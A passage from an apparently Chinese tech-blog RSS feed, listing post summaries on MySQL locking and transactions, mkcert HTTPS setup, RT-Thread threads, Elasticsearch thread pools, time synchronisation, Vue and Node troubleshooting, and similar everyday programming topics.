主键索引范围查询主键索引精确查询但这条数据不存在普通索引进行精确查询或者范围查询都会产生间隙锁 2.2.4、锁定的范围 既然间隙锁锁定的是一个区间，那么这个区间是如何划分的呢？&#xA;根据检索条件向左寻找最靠近检索条件的记录值A，作为左区间，如果找不到记录值A，则左区间为无限小；&#xA;向右寻找最靠近检索条件的记录值B，作为右区间，如果找不到记录值B，则右区间为无限大&#xA;详细说明可以参考这里：https://blog.csdn.net/sfh2018/article/details/121016466，后续测试模拟的表格结构也参考自这里&#xA;3、测试模拟 平常学习中可以自行建表模拟事务的执行，虽然不难，但还是在这里说明下，以Navicat为例：&#xA;3.1、开启事务 新开一个sql执行界面运行命令，即可开启一个事务&#xA;start transaction ; #开启事务 insert into test_gap_table value(16,5);#事务里面可以执行多条SQL语句 COMMIT#如果没有这条指令，则事务将会一直不提交，锁将一直持有，由此便可模拟多个事务进行锁的抢占 3.2、测试表结构如下 CREATE TABLE `test_gap_table` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `number` bigint DEFAULT NULL, PRIMARY KEY (`id`), KEY `idx_number` (`number`) USING BTREE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; INSERT INTO test_gap_table ( id, number ) VALUE ( 1, 2 ); INSERT INTO test_gap_table ( id, number ) VALUE ( 3, 4 ); INSERT INTO test_gap_table ( id, number ) VALUE ( 6, 5 ); INSERT INTO test_gap_table ( id, number ) VALUE ( 8, 5 ); INSERT INTO test_gap_table ( id, number ) VALUE ( 10, 5 ); INSERT INTO test_gap_table ( id, number ) VALUE ( 13, 11 ); 4、死锁问题排查 4.</description>
    </item>
    <item>
      <title>永磁同步电机的弱磁提速控制Simulink仿真</title>
      <link>https://bchobby.github.io/posts/4fff516b508f6fe0b491222852bda9e4/</link>
      <pubDate>Thu, 13 Oct 2022 23:57:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fff516b508f6fe0b491222852bda9e4/</guid>
      <description>控制原理&#xA;原因：转速升高-&amp;gt;反电动势增大-&amp;gt;反电势接近电源电压-&amp;gt;压差降低-&amp;gt;电流降低-&amp;gt;驱动转矩降低-&amp;gt;无法加速到给定转速&#xA;方法：削弱反电动势-&amp;gt;削弱整体磁场-&amp;gt;永磁体磁场无法改变-&amp;gt;产生反向磁场抵消-&amp;gt;id产生磁场&#xA;控制框图&#xA;仿真模型&#xA;仿真结果&#xA;给定转速8000r/min 负载0-0.5 15Nm -&amp;gt; 0.5-1 20Nm 不加弱磁控制： 加入弱磁控制： 模型报错、获取、交流：见置顶文章</description>
    </item>
    <item>
      <title>node&#43;react项目本地使用https进行开发</title>
      <link>https://bchobby.github.io/posts/376fcff97a29dc7ee9d08befdcd64915/</link>
      <pubDate>Thu, 13 Oct 2022 22:19:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/376fcff97a29dc7ee9d08befdcd64915/</guid>
      <description>准备好证书 对于本地来说，可以使用mkcert来生成证书&#xA;安装：&#xA;mac：&#xA;brew install mkcert brew install nss # if you use Firefox windows&#xA;#Chocolatey choco install mkcert # or use Scoop scoop bucket add extras scoop install mkcert 生成证书&#xA;mkdir -p ~/.cert #生成证书 mkcert -key-file ~/.cert/key.pem -cert-file ~/.cert/cert.pem &#34;localhost&#34; #让系统信任生成的证书，只有初次生成证书时需要运行这个命令，后续通过 mkcert -key-file 生成的证书会自动被系统信任 mkcert -install express启动https服务 import express from &#39;express&#39; const app = express() const httpsOption = { //证书地址 key: fs.readFileSync(path.join(os.homedir(), &#39;.cert/key.pem&#39;)), cert: fs.readFileSync(path.join(os.homedir(), &#39;.cert/cert.pem&#39;), } https.</description>
    </item>
    <item>
      <title>Altium Designer 20的中英文切换</title>
      <link>https://bchobby.github.io/posts/9fb6b48d76d5b187da5ec5e5672ec720/</link>
      <pubDate>Thu, 13 Oct 2022 20:39:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fb6b48d76d5b187da5ec5e5672ec720/</guid>
      <description>前言&#xA;上一篇给大家介绍了怎么安装Altium Designer 20，那么今天这一篇给大家介绍怎么对Altium Designer 20进行中英文模式切换，话不多说，上图！&#xA;1.双击打开AD 20&#xA;2.此时是英文状态下的界面&#xA;3.点击设置图标&#xA;4.点击System——General——选择Use localized resources&#xA;5.点击OK&#xA;6.选择Dispaly localized dialogs——选择Apply——选择OK&#xA;7，点击关闭按钮，重新进入AD 20，就可以得到中文模式了&#xA;如果要是选择英文模式，只需要取消勾选，并重新进入就可以了&#xA;今天的分享就到这里了，下期见！！！</description>
    </item>
    <item>
      <title>RT-Thread学习笔记二——线程的实际使用和创建</title>
      <link>https://bchobby.github.io/posts/b27d9d07a3e6e549e7a600605e115861/</link>
      <pubDate>Thu, 13 Oct 2022 19:37:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b27d9d07a3e6e549e7a600605e115861/</guid>
      <description>线程的创建和使用可以分为以下几个具体步骤：&#xA;1.创建线程入口函数，此函数内容决定线程的功能是什么。&#xA;2.确定线程的类型（静态还是动态）以及线程的优先级，栈空间以及时间片大小。&#xA;3.创建线程，实际就是定义线程的结构体内容。&#xA;1.创建线程入口函数 static void 名称(void *parameter) { “具体内容” } 其中具体内容可循环执行（包括while（1））也可顺序执行.&#xA;2.线程类型确定以及具体线程控制块参数设定 静态线程为用户手动分配栈空间，动态由系统动态分配。静态线程为rt_thread_init，动态则为rt_thread_create创建。&#xA;线程优先级为0最高，255为系统支持的最低优先级，资源紧张的系统中一般由优先级可以设置为8或者32，一般使用STM32这种ARM Cortex-M框架的MCU，默认为32个优先级。&#xA;线程栈大小需要根据实际使用去设定，一般方法为设置一个固定值（2048，1052这种），然后观察线程栈最大使用量，为70%即为合适。&#xA;对于时间片的大小，若线程中无优先级相同的线程，则时间片大小不起作用，如果需要用到多个任务同时进行，则根据每个任务完成时间确定时间片大小，需要时间多的时间片较大。&#xA;时间片单位为系统节拍。&#xA;3.线程的创建 3.1静态线程创建 static rt_uint8_t thread1_stack[512]; //线程栈 static struct rt_thread thread1;&#x9;//线程控制块 rt_thread_init(&amp;amp;thread1,&#x9;//线程handle &#34;thread1&#34;,&#x9;//线程名称 thread1_entry,&#x9;//线程入口函数 RT_NULL,&#x9;//线程入口参数 &amp;amp;thread1_stack[0], //线程栈地址 sizeof(thread1_stack),&#x9;//线程栈大小 15, //线程优先级 5);&#x9;静态线程占用内存不可释放，只能使用rt_thread_detach() 函数将该线程控制块脱离对象管理器。&#xA;线程删除使用 rt_rhread_detach(&amp;amp;xxx);&#xA;3.2动态线程创建 /* 定义线程控制块指针 */ rt_thread_t tid = RT_NULL; /* 创建线程 */ tid = rt_thread_create( &#34;thread_test&#34;, thread_entry, RT_NULL, 512, 10, 5); 线程删除使用 rt_rhread_detach(&amp;amp;xxx);</description>
    </item>
    <item>
      <title>哈希表与字符串</title>
      <link>https://bchobby.github.io/posts/198d1b6bc6a563dfb28f86c0630b5bff/</link>
      <pubDate>Thu, 13 Oct 2022 17:33:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/198d1b6bc6a563dfb28f86c0630b5bff/</guid>
      <description>1、最长回文串409 给定一个包含大写字母和小写字母的字符串 s ，返回 通过这些字母构造成的 最长的回文串 。 在构造过程中，请注意 区分大小写 。比如 &#34;Aa&#34; 不能当做一个回文字符串。 示例 1: 输入:s = &#34;abccccdd&#34; 输出:7 解释: 我们可以构造的最长的回文串是&#34;dccaccd&#34;, 它的长度是 7。 思路： 字符数量为偶数，count+数量；字符数量为奇数，count+数量-1 flag=1;flag代表的是是否有中心节点，最终长度max_length=count+flag.&#xA;/** * @param {string} s * @return {number} */ var longestPalindrome = function(s) { let map = new Map(); for(let i = 0;i &amp;lt; s.length;i++){ map.set(s[i], (map.get(s[i]) ?? 0) + 1) } let count = 0; let max_length = 0; let flag = 0; map.</description>
    </item>
    <item>
      <title>MySQL的事务与索引</title>
      <link>https://bchobby.github.io/posts/c5cb75f2603066e2b60623ae043cc588/</link>
      <pubDate>Thu, 13 Oct 2022 16:00:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5cb75f2603066e2b60623ae043cc588/</guid>
      <description>MySQL 1.事务 事务（Transaction）是并发控制的单位，是用户定义的一个操作序列。这些操作要么都做，要么都不做，是一个不可分割的工作单位。 1.1 什么是事务 要么都成功 要么都失败 事务就是将一组SQL语句放在同一批次内去执行如果一个SQL语句出错,则该批次内的所有SQL都将被取消执行MySQL事务处理只支持InnoDB和BDB数据表类型 1.SQL 执行 A给B转账 A 1000 --&amp;gt; B 2002.SQL 执行 B收到A的钱 A 800 --&amp;gt; B400 1.2 事务原则 ： ACID原则 原子性，一致性，持久性，隔离性 （脏读，幻读…） 参考博客链接 https://blog.csdn.net/dengjili/article/details/82468576 原子性(Atomic)&#xA;整个事务中的所有操作，要么全部完成，要么全部不完成，不可能停滞在中间某个环节。事务在执行过程中发生错误，会被回滚（ROLLBACK）到事务开始前的状态，就像这个事务从来没有执行过一样 一致性(Consist)&#xA;一个事务可以封装状态改变（除非它是一个只读的）。事务必须始终保持系统处于一致的状态，不管在任何给定的时间并发事务有多少。也就是说：如果事务是并发多个，系统也必须如同串行事务一样操作。其主要特征是保护性和不变性(Preserving an Invariant)，以转账案例为例，假设有五个账户，每个账户余额是100元，那么五个账户总额是500元，如果在这个5个账户之间同时发生多个转账，无论并发多少个，比如在A与B账户之间转账5元，在C与D账户之间转账10元，在B与E之间转账15元，五个账户总额也应该还是500元，这就是保护性和不变性。 持久性(Durable)&#xA;在事务完成以后，该事务对数据库所作的更改便持久的保存在数据库之中，并不会被回滚。 隔离性(Isolated)&#xA;隔离状态执行事务，使它们好像是系统在给定时间内执行的唯一操作。如果有两个事务，运行在相同的时间内，执行相同的功能，事务的隔离性将确保每一事务在系统中认为只有该事务在使用系统。这种属性有时称为串行化，为了防止事务操作间的混淆，必须串行化或序列化请求，使得在同一时间仅有一个请求用于同一数据。 隔离导致的一些问题 脏读 指一个事务读取了另外一个事务未提交的数据 不可重复读 在一个事务内读取表中的某行数据，多次读取结果不同。（这个不一定是错误 只是某些场合不对） 幻读（虚读） ​ 是指在一个事务内读取到了别的事务插入的数据，导致前后读取不一致。（一般是行影响，多了一行） 幻读和不可重复读有些类似，但是幻读强调的是集合的增减，而不是单条数据的更新。 1.3 事务隔离级别 为了解决以上的问题，主流的关系型数据库都会提供四种事务的隔离级别。事务隔离级别从低到高分别是：读未提交，读已提交，可重复读，串行化。事务隔离级别越高，越能保证数据的一致性和完整性，但是执行效率也越低，所以在设置数据库的事务隔离级别时需要做一下权衡 mysql默认是可重复读读未提交 读未提交(Read Uncommitted)，是最低的隔离级别，所有的事务都可以看到其他未提交的事务的执行结果。只能防止第一类更新丢失，不能解决脏读，可重复读，幻读，所以很少应用于实际项目。 读已提交&#xA;**读已提交(Read Committed)，在该隔离级别下，**一个事务的更新操作只有在该事务提交之后，另外一个事务才可能读取到同一笔数据更新后的结果。可以防止脏读和第一类更新丢失，但是不能解决可重复和幻读的问题。 可重复读（重要）&#xA;可重复读(Repeatable Read)，mysql默认的隔离级别。在该隔离级别下，一个事务多次读同一个数据，在这个事务还没有结束时，其他事务不能访问该数据（包括了读写），这样就可以在同一个事务内两次读到的数据是一样的。可以防止脏读、不可重复读、第一类更新丢失，第二类更新丢失的问题，不过还是会出现幻读。 串行化 串行化(Serializable)，这是最高的隔离级别。它要求事务序列化执行，事务只能一个接着一个的执行，不能并发执行。在这个级别，可以解决上面提到的所有并发问题，但是可能导致大量的超时现象和锁竞争，通常不会用这个隔离级别。 1.4 测试事务实现转账 执行事务：相关命令 -- ==========事务==================== -- mysql默认开启事务自动提交的 SET autoccommit = 0;/*关闭*/ SET autoccommit = 1;/*开启（默认）*/ -- s手动处理事务 SET autoccommit = 0; -- 关闭自动提交 -- 事务开启 START TRANSACTION -- 标记一个事务的开始，从这个开始的sql 都在同一个事务中 INSERT xx INSERT yy -- 提交 持久化（成功） COMMIT -- 回滚 回到原来的样子（失败） ROLLBACK -- 事务结束 SET autoccommit = 1;-- 开启自动提交 -- 了解 SAVEPOINT 保存点名称 -- 设置一个事务的保存点 ROLLBACK TO SAVEPOINT -- 回滚到保存点 RELEASE SAVEPOINT 保存点名称 -- 删除保存点 模拟场景 /* 课堂测试题目 A在线买一款价格为500元商品,网上银行转账.</description>
    </item>
    <item>
      <title>es客户端线程池配置</title>
      <link>https://bchobby.github.io/posts/9c4cba87e331f532ac64f9778340f61b/</link>
      <pubDate>Thu, 13 Oct 2022 15:59:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c4cba87e331f532ac64f9778340f61b/</guid>
      <description>业务背景 原大数据团队不再维护DB数据同步至es的服务，由我们业务团队自己维护。实现方案：使用canal监听DB binlog，将数据写入es&#xA;问题描述 为啥要看es线程池呢？因为线上突然疯狂报错es线程池被打满，但竟然看不懂该如何修改es线程池配置。线上异常堆栈如下：&#xA;EsRejectedExecutionException[rejected execution of org.elasticsearch.transport.TransportService$7@4d334adf on EsThreadPoolExecutor[bulk, queue capacity = 2000, org.elasticsearch.common.util.concurrent.EsThreadPoolExecutor@3c0a3704[Running, pool size = 16, active threads = 16, queued tasks = 2009, completed tasks = 284167676]]] at org.elasticsearch.common.util.concurrent.EsAbortPolicy.rejectedExecution(EsAbortPolicy.java:50) at java.util.concurrent.ThreadPoolExecutor.reject(ThreadPoolExecutor.java:823) at java.util.concurrent.ThreadPoolExecutor.execute(ThreadPoolExecutor.java:1369) at org.elasticsearch.common.util.concurrent.EsThreadPoolExecutor.doExecute(EsThreadPoolExecutor.java:94) at org.elasticsearch.common.util.concurrent.EsThreadPoolExecutor.execute(EsThreadPoolExecutor.java:89) at org.elasticsearch.transport.TransportService.sendLocalRequest(TransportService.java:614) at org.elasticsearch.transport.TransportService.access$000(TransportService.java:73) at org.elasticsearch.transport.TransportService$3.sendRequest(TransportService.java:133) at org.elasticsearch.transport.TransportService.sendRequestInternal(TransportService.java:562) at org.elasticsearch.transport.TransportService.sendRequest(TransportService.java:495) at org.elasticsearch.transport.TransportService.sendRequest(TransportService.java:483) at org.elasticsearch.action.support.replication.TransportReplicationAction$ReroutePhase.performAction(TransportReplicationAction.java:751) at org.elasticsearch.action.support.replication.TransportReplicationAction$ReroutePhase.performLocalAction(TransportReplicationAction.java:670) at org.elasticsearch.action.support.replication.TransportReplicationAction$ReroutePhase.doRun(TransportReplicationAction.java:658) at org.elasticsearch.common.util.concurrent.AbstractRunnable.run(AbstractRunnable.java:37) at org.elasticsearch.action.support.replication.TransportReplicationAction.doExecute(TransportReplicationAction.java:147) at org.elasticsearch.action.support.replication.TransportReplicationAction.doExecute(TransportReplicationAction.java:93) at org.elasticsearch.action.support.TransportAction$RequestFilterChain.proceed(TransportAction.java:170) at org.</description>
    </item>
    <item>
      <title>HTML转PDF（Java itext）</title>
      <link>https://bchobby.github.io/posts/96c00c19e94ef6a24962ade84783570e/</link>
      <pubDate>Thu, 13 Oct 2022 15:53:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96c00c19e94ef6a24962ade84783570e/</guid>
      <description>Java HTML转PDF —&amp;gt; itext 首先需要引入jar包 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.itextpdf&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;html2pdf&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.0.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; package com.youxue.my.time_task.util; import com.itextpdf.html2pdf.ConverterProperties; import com.itextpdf.html2pdf.HtmlConverter; import com.itextpdf.html2pdf.resolver.font.DefaultFontProvider; import java.io.*; /** * &amp;lt;p&amp;gt; * html 转 pdf * &amp;lt;p/&amp;gt; * * @author dx * @since 2021/5/18 14:13 */ public class HTMLToPDFUtil { public static void main(String[] args) { String htmlFile = &#34;C:\\Users\\Youxue\\Desktop\\1621309621859.html&#34;; String pdfFile = &#34;C:\\Users\\Youxue\\Desktop\\&#34;+System.currentTimeMillis()+&#34;.pdf&#34;; try { HTMLToPDFUtil.html2pdf(htmlFile, pdfFile); } catch (Exception e) { e.printStackTrace(); } } public static void html2pdf(String htmlFile, String pdfFile) throws Exception { ConverterProperties converterProperties = new ConverterProperties(); DefaultFontProvider dfp = new DefaultFontProvider(); //添加字体库 dfp.</description>
    </item>
    <item>
      <title>有关时间同步配置的几个说明</title>
      <link>https://bchobby.github.io/posts/271227e2c031cc2e80e899f0d4b53617/</link>
      <pubDate>Thu, 13 Oct 2022 15:17:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/271227e2c031cc2e80e899f0d4b53617/</guid>
      <description>大家都知道在linux环境下，时间同步的方式主要有ntpdate和chrony两种方式，时间同步源可以使用互联网也可以使用内部的源。&#xA;在某些情况下，如果节点不能访问外网，就需要使用内部的时间同步服务器或者搭建一个时间同步服务器，用来保障集群内节点时间的时间同步。有关如何搭建时间服务器的方法不在此进行复述，大家可以自行查找相关资料。这里仅对搭建内部时间服务器和时间同步操作遇到的问题或者经验进行分享(以CentOS7.7环境操作为例)。&#xA;时间服务器的数量&#xA;在没有办法保证节点时间完全一致的情况下，建议使用1个节点作为时间服务器，而不要使用集群的方式。&#xA;集群内时间同步的重要目前是保证集群内节点的时间一致，而不是特别强调跟互联网时间一致，否则的话，直接跟互联网进行时间同步好了，没有必要再自定搭建时间服务器。&#xA;因为机器硬件的差异，不同的节点经过长时间运行的情况下，有可能出现它们之间的时间会出现偏差。这样就导致其它节点刚刚向其中一个时间服务器同步时间之后，再周期性向另一个时间服务器同步时间之后，时间来回发生变化的情况。 因此建议只使用一个节点作为时间服务器，集群所有其余节点均向此节点进行时间同步。如果该时间同步服务器故障之后，再考虑重新搭建时间服务器的问题。&#xA;chrony方式配置&#xA;chrony是目前比较推荐的一种时间同步方式。在日常的使用中，如果更换/etc/chrony.conf配置文件中的服务器地址的话：&#xA;在客户端上重启chronyd服务的话，客户端能够很快进行时间同步并且NTP synchronized参数也会是yes状态。&#xA;在 客户端不重启chronyd服务的话，需要花费较长的时间（测试中相差5分钟，时间同步花费的时间差不多也是5分钟左右）完成时间同步，并且正常情况下NTP synchronized参数也会是yes状态。&#xA;使用chrony方式进行时间同步，如果失败的话可以从以下方面进行检查：&#xA;1.防火墙的配置 防火墙是否处于关闭状态或者对应的时间同步服务所需要的端口处于开放状态。&#xA;2.机器是否配置ntpdate定时同步 笔者在使用中出现节点上使用timedatectl命令查看NTP synchronized的值从yes变为no（重启chronyd服务变为yes过一段时间之后又变为no），并且使用chronyc sources -v命令查看对应的服务器状态为^* 10.0.X.Y 或者 ^? 10.0.X.Y 来回变化的状态。查看对应的服务状态报错：&#xA;chronyd: No suitable source for synchronisation 开始是以为配置了DNS，导致该节点可以访问外网所以状态不对。之所以这样判断是因为在系统日志中出现：&#xA;dbus[1064]: [system] Activating via systemd: service name=&#39;org.freedesktop.timedate1&#39; unit=&#39;dbus-org.freedesktop.timedate1.service&#39; systemd: Starting Time &amp;amp; Date Service... dbus[1064]: [system] Successfully activated service &#39;org.freedesktop.timedate1&#39; systemd: Started Time &amp;amp; Date Service. 但是经过最终的排查，跟是否可以访问外网没有关闭，根源在于使用定时任务通过ntpdate方式进行了同步。将ntpdate的定时同步任务删除就恢复正常了。&#xA;ntpdate方式配置&#xA;ntpdate主要是通过定时任务的方式进行同步。这里强调一下，使用这种方式的时候，一定不要执行timedatectl set-ntp yes命令。&#xA;因为CentOS7.X版本自带、默认同步方式为chrony，因此如果执行timedatectl set-ntp yes命令，自动会把chronyd服务启动，使用chrony方式进行时间同步。&#xA;笔者测试将chronyd服务停止之后，执行timedatectl set-ntp yes命令之后，chronyd的服务状态变为running了。</description>
    </item>
    <item>
      <title>vue 3.0 内使用element plus (1.0.2-beta.32 最开始的版本)遇到的问题</title>
      <link>https://bchobby.github.io/posts/b27f98738c4316e901ff629b640b8673/</link>
      <pubDate>Thu, 13 Oct 2022 10:58:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b27f98738c4316e901ff629b640b8673/</guid>
      <description> 如果使用的element plus是 最开始的版本，不是最新版，使用的时候，如果出现了以下这种错误，&#xA;或者导航啥的不能跳转，Popper不能弹出来之类的，可以先对照一下vue的版本&#xA;我这边最开始element plus用的是&#xA;vue 的版本是&#xA;然后就出现了上面那个错误&#xA;后面我把vue的版本换成了 3.0.9，就不报错可以正常使用了 </description>
    </item>
    <item>
      <title>node : 无法将“node”项识别为 cmdlet、函数、脚本文件或可运行程序的名称 解决方法</title>
      <link>https://bchobby.github.io/posts/1161ec28907aaf4061e03e91537946f9/</link>
      <pubDate>Thu, 13 Oct 2022 10:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1161ec28907aaf4061e03e91537946f9/</guid>
      <description>安装完node以后，cmd 运行node -v报错&#xA;两种场景报错：（确认自己的node已经安装了，整个路径不要有中文或空格）&#xA;直接将node安装到系统盘（c盘）安装完后系统自动配置环境变量，不需要手动配置 C:\Program Files\nodejs\ 解决办法：应为是系统盘一般用户找不到该命令，只需要编辑器通过管理员的身份进行运行就可以解决！&#xA;2.将node安装到非系统盘 安装完后系统需要在环境变量上手动配置 1.安装node到指定目录，如：D:\programs\nodejs&#xA;2.在node.exe安装目录下新建两个文件夹，node_cache和node_global；&#xA;cmd输入 npm config set prefix &#34;D:\programs\nodejs\node_global&#34;　//修改 npm 的全局安装模块路径 npm config set cache &#34;D:\programs\nodejs\node_cache&#34;　//修改 npm 的缓存路径 3.配置环境变量：&#xA;系统变量&#xA;1.新建【NODE_PATH】【D:\programs\nodejs\node_global\node_modules】&#xA;2.选择 path，添加【D:\programs\nodejs】&#xA;用户变量&#xA;1.选择【PATH】后点击【编辑】按钮，将默认路径【C:\Users\admin\AppData\Roaming\npm】改为【D:\Node\node_global】&#xA;2.最后查看是否安装完成 node-v npm -v</description>
    </item>
    <item>
      <title>解构金蝶 Apusic 中间件</title>
      <link>https://bchobby.github.io/posts/b6498bbe0b34e613d968b9b27fe7878d/</link>
      <pubDate>Thu, 13 Oct 2022 10:08:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6498bbe0b34e613d968b9b27fe7878d/</guid>
      <description>接触 J2EE 也有些时间了。最近打算自己写一个 EJB 容器，琢磨了一下，打算就着技术书籍和 Apusic 的源码来搞个小研究。&#xA;先在这开个坑，毕竟每天在家，除了上班准点报道，下班又准点报道，周末连坐下来想事情的时间也被各种扯淡事情打断，也是很烦的。:)&#xA;1月24日：&#xA;先把几个重要概念梳理一下。平常我们用 javax.ejb.* 的 API 时，很少需要考虑别的东西。这里面就有中间件（容器）的功劳。举例来说，我们的客户端调用一个包含业务方法的 bean（这个 bean 可以实现 javax.ejb.SessionBean 接口），而这个 bean 是由一个 EJBHome 对象创建的。出于简化 web 开发者工作的目的，EJBHome 对象应该在 web 应用中以调用 javax.ejb.* 中接口的形式来获得。所以，EJBHome 对象的默认实现就交给中间件来做。EJBHome 对象应该负责查找和缓存 bean 实例，以及删掉调用得最少的 bean 实例的缓存。&#xA;然后我们看看 Apusic 是怎么处理各种 bean 的。在源码的 com.apusic.ejb.container.EJBManager 类中，不同类型的 bean 会触发产生不同类型的容器。处理的 bean 类型是标准的 SessionBean（包含 Stateful 和 Stateless 以及 Singleton）、EntityBean、MessageDrivenBean 。而具体生成的步骤，则在源码的 com.apusic.ejb.generator.ClientDrivenGenerator 的 generate(int) 方法中。&#xA;2月20日：&#xA;怎么把各种 EJB 接口调用的方法最终转为使用其实现类，目前观察是依靠自带的 org.objectweb 包对编译后的机器码进行替换。后面继续写写这部分的内容。</description>
    </item>
    <item>
      <title>使用vue ui创建vue项目(基于图形化界面的方式)</title>
      <link>https://bchobby.github.io/posts/c5fdf323f7945e2bb1081ad889eca00a/</link>
      <pubDate>Thu, 13 Oct 2022 09:07:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5fdf323f7945e2bb1081ad889eca00a/</guid>
      <description>前提： 1.打开cmd ，安装vue脚手架&#xA;npm install -g @vue/cli 2.若之前安装过无需重新安装；直接在cmd 中输入vue ui&#xA;若输入vue ui 后无反应，则是安装的脚手架版本太低，直接升级脚手架版本就行；输入 cnpm i -g @vue/cli&#xA;安装完成后重新输入vue ui&#xA;等待自动打开浏览器；&#xA;创建项目步骤： ①点击创建&#xA;②选择目录后,点击在此创建项目&#xA;③输入项目名称，填写git仓库建议 init project ，其他项默认&#xA;④点击下一步，选择默认配置，或手动配置；若是第一次创建项目选择手动配置；&#xA;⑤选择功能；选择Bable,Router,Linter及使用配置文件 四项开启，点击下一步&#xA;⑥相关配置；点击创建项目,保存为新预设（方便下次直接使用），点击保存预设并创建项目；&#xA;⑦等待项目创建完成（首次创建较慢）&#xA;⑧配置element-ui库（以下为视频截图），添加插件–搜索到后选中，右下角点击【安装】&#xA;配置插件设置：&#xA;⑨配置axios库：点击【依赖】–【安装依赖】&#xA;⑩点击到【任务】，点击运行&#xA;运行成功后显示编译成功，点击启动app：</description>
    </item>
    <item>
      <title>vue实战-加入购物车一系列操作</title>
      <link>https://bchobby.github.io/posts/5fe2b366cb2a1eaed31e3c285c09aca0/</link>
      <pubDate>Wed, 12 Oct 2022 21:54:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5fe2b366cb2a1eaed31e3c285c09aca0/</guid>
      <description>vue实战-加入购物车一系列操作 1.在Detail组件中点击“加入购物车” 同时完成：&#xA;①数据存入服务器&#xA;②页面组件跳转以及传参&#xA;③会话存储&#xA;1）数据存入服务器 设置API接口（reqUpdateShopCart） detail小仓库中的处理 判断是否存入成功，返回为200则为存入成功。&#xA;会话存储 跳转到AddCartSuccess组件需要传临时的商品信息到该组件动态显示出来，所以用到会话存储&#xA;由于skuInfo的数据类型是对象，而sessionStorage没法存，得转换成字符串。&#xA;所以用JSON.stringify()&#xA;使用时再转换成对象&#xA;2）添加临时游客身份uuid 为了使得能将成功添加到购物车的数据能取出来，必须要有一个身份标识，使用uuid来随机生成一个临时游客身份标识，这样在需要购物车数据时，才能从服务器中取出存入的含有身份标识的数据。&#xA;在加入购物车的同时添加uuid标识，因为只能传参固定位，于是想到在发送请求的请求头中还可以传参。&#xA;首先，在detail仓库中得到这个uuid&#xA;在src中创建一个工具文件夹utils的uuid_token.js（为了设置获得uuid的存储以及为了它的唯一性）&#xA;uuid_token.js&#xA;import { v4 as uuidv4 } from &#39;uuid&#39; export const getUUID = ()=&amp;gt;{ let uuid_token = localStorage.getItem(&#39;GETUUID&#39;) if(!uuid_token){ uuid_token = uuidv4() localStorage.setItem(&#39;GETUUID&#39;,uuid_token) } return uuid_token } 最后将仓库中获得的uuid放入请求头headers中&#xA;成功在shopCart仓库中获得数据。&#xA;2.在购物车中的操作 1）设置获取购物车数据的API 因为存在了临时id：uuid，在shopCart仓库中可以获得购物车的动态数据&#xA;2）设置shopCart仓库 ①派发actions&#xA;②store中处理&#xA;import {reqCartList} from &#39;@/api&#39; const state = { shopCartList:[] } const mutations = { GETSHOPCARTLIST(state,shopCartList){ state.</description>
    </item>
    <item>
      <title>递归简介&#43;递归例题(使用递归输出1~100)</title>
      <link>https://bchobby.github.io/posts/d1a4248c5d6034741cee782f635104b9/</link>
      <pubDate>Wed, 12 Oct 2022 17:31:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1a4248c5d6034741cee782f635104b9/</guid>
      <description> 1.定义:递归是一种思想,应用在编程中体现为方法调用方法本身. 2.例题;使用递归的方法打印1到100 public class Print1_100Myself { public static void printx(int start,int end){ if(start&amp;gt;end) { return; }else { System.out.println(start); start++; printx(start, end); } } //主函数(main方法)，程序入口(此处启动,调用printx方法,输入参数调用此方法) public static void main(String[] args) { printx(1,100); } } </description>
    </item>
    <item>
      <title>idea启动报错Internal error.</title>
      <link>https://bchobby.github.io/posts/6b6224b17b491b5be736d91ba2a154b1/</link>
      <pubDate>Wed, 12 Oct 2022 17:29:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b6224b17b491b5be736d91ba2a154b1/</guid>
      <description>idea启动报错Internal error. Please refer to https://jb.gg/ide/critical-startup-errors java.util.concurrent.CompletionException: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated&#xA;java.util.concurrent.CompletionException: org.picocontainer.PicoRegistrationException: Key com.tang.intellij.lua.luacheck.LuaCheckSettings duplicated)&#xA;造成原因：&#xA;插件安装重复，之前安装了两个easycode插件导致idea崩溃。&#xA;解决方法&#xA;插件冲突重复：lua插件重复&#xA;进入C:\Users\xxx\AppData\Roaming\JetBrains\IntelliJIdea2021.1\plugins&#xA;删除多余重复的插件！&#xA;问题解决</description>
    </item>
    <item>
      <title>elementUI下拉选项加多选框功能实现（自己添加“全部”选项）</title>
      <link>https://bchobby.github.io/posts/7cf4832d82ed4200a5df43be4acb6897/</link>
      <pubDate>Wed, 12 Oct 2022 16:16:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7cf4832d82ed4200a5df43be4acb6897/</guid>
